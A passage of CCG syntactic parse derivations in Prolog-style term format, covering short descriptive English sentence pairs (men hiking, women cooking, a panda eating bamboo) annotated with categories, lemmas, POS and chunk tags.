fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'trekking', 'trek', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woods', 'wood', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(330,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'hiking', 'hike', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woods', 'wood', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(331,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bridge', 'bridge', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(332,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bridge', 'bridge', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(333,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'placing', 'place', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'eggs', 'egg', 'NNS', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pot', 'pot', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(334,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'eggs', 'egg', 'NNS', 'I-NP', 'O')))),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pot', 'pot', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(335,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(336,
rp(s:dcl,
ba(s:dcl,
t(np, 'Nobody', 'nobody', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(337,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
ba(((s:ng\np)\(s:ng\np))/np,
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
conj((((s:ng\np)\(s:ng\np))/np)\(((s:ng\np)\(s:ng\np))/np), ((s:ng\np)\(s:ng\np))/np,
t(conj, 'and', 'and', 'CC', 'B-PP', 'O'),
fc(((s:ng\np)\(s:ng\np))/np,
t(((s:ng\np)\(s:ng\np))/pp, 'out', 'out', 'IN', 'B-PP', 'O'),
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O')))),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'waves', 'wave', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(338,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
ba((s:ng\np)\(s:ng\np),
t((s:ng\np)\(s:ng\np), 'in', 'in', 'IN', 'I-PP', 'O'),
conj(((s:ng\np)\(s:ng\np))\((s:ng\np)\(s:ng\np)), (s:ng\np)\(s:ng\np),
t(conj, 'and', 'and', 'CC', 'B-PP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'out', 'out', 'IN', 'B-PP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'ocean', 'ocean', 'NN', 'I-NP', 'O'),
t(n, 'waves', 'wave', 'NNS', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(339,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'away', 'away', 'RP', 'I-PRT', 'O')),
lx(np, n,
t(n, 'carrots', 'carrot', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(340,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'coating', 'coat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pork', 'pork', 'NN', 'I-NP', 'O'),
t(n, 'chop', 'chop', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(341,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'grating', 'grate', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'carrots', 'carrot', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(342,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cook', 'cook', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'coating', 'coat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pork', 'pork', 'NN', 'I-NP', 'O'),
t(n, 'chop', 'chop', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(343,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'bread', 'bread', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(n,
t(n/n, 'fried', 'fried', 'JJ', 'I-NP', 'O'),
t(n, 'pork', 'pork', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(344,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cooking', 'cook', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'breaded', 'breaded', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'pork', 'pork', 'NN', 'I-NP', 'O'),
t(n, 'chop', 'chop', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(345,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'roof', 'roof', 'NN', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O'))))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'violin', 'violin', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(346,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'roof', 'roof', 'NN', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O'))))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'violin', 'violin', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(347,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cleaning', 'clean', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'shrimp', 'shrimp', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(348,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cleaning', 'clean', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'shrimp', 'shrimp', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(349,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'water', 'water', 'NN', 'I-NP', 'O'),
t(n, 'scooter', 'scooter', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(350,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'scooter', 'scooter', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'for', 'for', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(351,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'panda', 'panda', 'NN', 'I-NP', 'O'),
t(n, 'bear', 'bear', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'bamboo', 'bamboo', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(352,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'bamboo', 'bamboo', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'eaten', 'eat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'panda', 'panda', 'NN', 'I-NP', 'O'),
t(n, 'bear', 'bear', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(353,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'beating', 'beat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'egg', 'egg', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(354,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'stirring', 'stir', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'eggs', 'egg', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(355,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'deboning', 'debon', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fish', 'fish', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(356,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'fish', 'fish', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'catching', 'catch', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(357,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tray', 'tray', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'buttered', 'butter', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(358,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'buttering', 'butter', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tray', 'tray', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(359,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tree', 'tree', 'NN', 'I-NP', 'O'),
t(n, 'trunk', 'trunk', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'axe', 'axe', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(360,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'log', 'log', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'axe', 'axe', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(361,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
ba((s:ng\np)\(s:ng\np),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'window', 'window', 'NN', 'I-NP', 'O')),
fa(((s:ng\np)\(s:ng\np))\((s:ng\np)\(s:ng\np)),
t((((s:ng\np)\(s:ng\np))\((s:ng\np)\(s:ng\np)))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O'))))),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'perch', 'perch', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(362,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'perched', 'perch', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'window', 'window', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(363,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
